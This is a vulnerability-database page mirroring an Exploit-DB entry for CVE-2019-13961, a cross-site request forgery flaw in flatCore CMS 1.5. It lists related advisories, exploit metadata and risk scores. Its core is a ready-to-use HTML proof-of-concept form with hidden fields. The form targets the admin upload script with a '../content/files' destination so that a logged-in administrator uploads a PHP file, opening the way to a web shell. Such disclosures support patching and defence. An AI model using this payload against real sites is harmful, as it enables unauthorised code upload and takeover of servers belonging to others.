flatCore 1.5 - Cross Site Request Forgery (CSRF)

🗓️ 11 Apr 2025 00:00:00Reported by CodeSecLabType

exploitdb🔗 www.exploit-db.com👁 169 Views

flatCore 1.5 CSRF vulnerability allows arbitrary PHP file upload through upload script.

Reporter	Title	Published	Views	Family All 10
Circl	CVE-2019-13961	12 Apr 202521:02	–	circl
CNVD	flatCore Cross-Site Request Forgery Vulnerability (CNVD-2019-23756)	19 Jul 201900:00	–	cnvd
CVE	CVE-2019-13961	18 Jul 201919:16	–	cve
Cvelist	CVE-2019-13961	18 Jul 201919:16	–	cvelist
EUVD	EUVD-2019-5227	7 Oct 202500:30	–	euvd
NVD	CVE-2019-13961	18 Jul 201920:15	–	nvd
Packet Storm	📄 flatCore Cross Site Request Forgery	11 Apr 202500:00	–	packetstorm
Packet Storm	📄 flatCore 1.5 Shell Upload	15 Dec 202500:00	–	packetstorm
Prion	Cross site request forgery (csrf)	18 Jul 201920:15	–	prion
RedhatCVE	CVE-2019-13961	22 May 202510:05	–	redhatcve

# Exploit Title: flatCore 1.5 - Cross Site Request Forgery (CSRF)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/flatCore/flatCore-CMS
# Software Link: https://github.com/flatCore/flatCore-CMS
# Version: d3a5168
# Tested on: Ubuntu Windows
# CVE : CVE-2019-13961

PoC:
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <form action="http://flatcore3/acp/core/files.upload-script.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="upload_destination" value="../content/files">
        <input type="hidden" name="w" value="800">
        <input type="hidden" name="h" value="600">
        <input type="hidden" name="fz" value="1000">
        <input type="hidden" name="unchanged" value="yes">
        <input type="file" name="file" value="test.php">
        <input type="submit" value="Upload">
    </form>
</body>
</html>


[Replace Your Domain Name]

11 Apr 2025 00:00Current

8.9High risk

Vulners AI Score8.9

CVSS 26.8

CVSS 38.8

EPSS0.00484